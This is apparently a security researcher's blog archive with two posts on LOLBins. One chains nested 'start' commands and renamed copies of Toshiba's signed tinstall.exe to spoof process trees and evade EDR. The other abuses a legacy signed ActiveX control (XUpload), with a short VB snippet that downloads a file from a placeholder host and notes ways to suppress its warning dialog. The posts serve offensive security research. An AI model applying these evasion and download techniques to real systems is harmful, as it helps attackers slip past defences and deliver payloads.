Category Archives: LOLBins

Trololololobin and other lolololocoasters

Posted on by

In my older tweet I gave an example of a surgical way to inject process into a chain of executed programs and launch them at a predetermined position in a great-great-great….grand-parent-child relationship by using the start command:

start /b "" start /b "" start /b "" start /b "" start /b "" start /b notepad.exe

Many Lolbins focus on loading DLLs, downloading files, etc. I was wondering if there is a class of Lolbins that could be used to generate this kinda process tree. The idea being that if we can find it, we can create more ‘signed executable’ chains and potentially disrupt parent-child relationship-based EDR detections.

After combing through my file collection I found one candidate and I suspect there will be others.

The Toshiba’s signed tinstall.exe is an executable that is a part of many installs from this company. When launched, it spawns a child process which is a next step of the installation. The peculiar way it is doing it is providing us the feature I described above. When launched, it takes its own file name, and appends ‘wb’ to it, and then launches a program with that newly created name. Under normal circumstances, the name of the spawned process will be tinstallwb.exe.

By placing a number of copies of tinstall.exe in files named .exe, wb.exe, wbwb.exe, wbwbwb.exe, etc. we can build a chain of process spawned from signed executables with the wbwbwbwbwbwbwb.exe being the final ‘payload’:

KillBit legacy – in search for ActiveX Lolbins

Posted on by

ActiveX is dead.

Unless used outside of the browser, locally, lolbin-ically.

Back in a day companies loved to implement extra functionality for the web via their own ActiveX controls and OCX files were ‘business as usual’. It didn’t last, and today you don’t even hear about ActiveX unless you talk to someone who is still in love with Visual Basic 6.0.

There is a legacy though. You can still find OCX files from these good ol’ times & interestingly enough, many of them are signed. Nothing stops us then from downloading them, registering them, and using their methods, which often facilitate typical red team tasks e.g. downloading and uploading files. Notably, many of these OCXs are still present on many older systems, especially in places where they come as a part of some ‘custom-built’, old-school software that is not widely known & heavily relies on technologies of the past (South Korean software market that used to rely on ActiveX comes to mind, but there are many western companies that still ship software with OCX files).

The example I am going to show is pretty simple. After quick googling around I found XUpload – this is an ActiveX control one could add to their web page to facilitate easier download/upload of files. It doesn’t work as a server that you could use from within Visual Basic Script, but you can still embed it as a GUI control using e.g. your beloved Visual Basic and call required methods. The other avenues could be re-enabling ActiveX and forcing old Internet Explorer instances (not only web browser itself, but potentially that still relies on IE WebControl) and injecting the HTML with the download instruction into them (this could be done on file level, or dynamically via windows messages, or even directly talking to IE control via WM_HTML_GETOBJECT,)

A masterfully crafted sample Visual Basic program facilitating a download for our example could look like this:

x.AddFile "http://foobar.com/foo", "c:\test\bar"
x.Visible = False
x.WarnOverwrite = False
x.Download

The only caveat is that a message box pops up:

so either you need it patch it in file (ruining the signed binary), in memory (risking code change detection), or send a message to the window to close it the moment it pops up.

It’s hardly ground breaking, but the stashes of old signed code available out there are pretty interesting to explore and am pretty sure I will be coming back to it in the future.